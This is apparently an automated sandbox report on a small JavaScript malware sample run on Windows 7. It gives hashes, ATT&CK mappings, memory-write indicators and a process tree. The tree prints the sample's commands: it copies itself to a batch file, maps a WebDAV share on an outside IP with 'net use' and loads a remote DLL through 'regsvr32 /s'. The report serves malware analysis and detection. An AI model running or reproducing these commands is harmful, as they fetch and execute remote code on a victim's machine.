6acb3dc14a4342dc23538a461518be8f1b3473950a53e298e8b99e6cbc4e286d

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:44

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General

Target

2707398642559127343.js
Size

5KB
MD5

c8c6f2cd727679d66031250fadadb58c
SHA1

4ce051b3bd77b04cdd56042825bdea493b53c537
SHA256

1b63022777404a40a968a35a13e1aec846789051a4e1dfa204d40b8d637f1707
SHA512

ded49cf5c61c60d6ee3d1a26b6ba0b104e03fa11fc8680bc54f9f28641f3f07061a2375a0091685a1cb851b616d2ed8207581f39a3439ab0acee98481443354b
SSDEEP

96:Ickum+YFbacAUVwfk0PmZBvZfDJxgb5JbJCrWrkje:Ickwfk0PAvZfDJxgb5JbJCSrkje

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2628	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 2512	2016	wscript.exe	30
PID 2016 wrote to memory of 2512	2016	wscript.exe	30
PID 2016 wrote to memory of 2512	2016	wscript.exe	30
PID 2512 wrote to memory of 2664	2512	cmd.exe	33
PID 2512 wrote to memory of 2664	2512	cmd.exe	33
PID 2512 wrote to memory of 2664	2512	cmd.exe	33
PID 2512 wrote to memory of 2628	2512	cmd.exe	34
PID 2512 wrote to memory of 2628	2512	cmd.exe	34
PID 2512 wrote to memory of 2628	2512	cmd.exe	34
PID 2512 wrote to memory of 2628	2512	cmd.exe	34
PID 2512 wrote to memory of 2628	2512	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2707398642559127343.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2707398642559127343.js" "C:\Users\Admin\\quiesb.bat" && "C:\Users\Admin\\quiesb.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2664
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\965.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\quiesb.bat

Filesize
5KB

MD5
c8c6f2cd727679d66031250fadadb58c

SHA1
4ce051b3bd77b04cdd56042825bdea493b53c537

SHA256
1b63022777404a40a968a35a13e1aec846789051a4e1dfa204d40b8d637f1707

SHA512
ded49cf5c61c60d6ee3d1a26b6ba0b104e03fa11fc8680bc54f9f28641f3f07061a2375a0091685a1cb851b616d2ed8207581f39a3439ab0acee98481443354b

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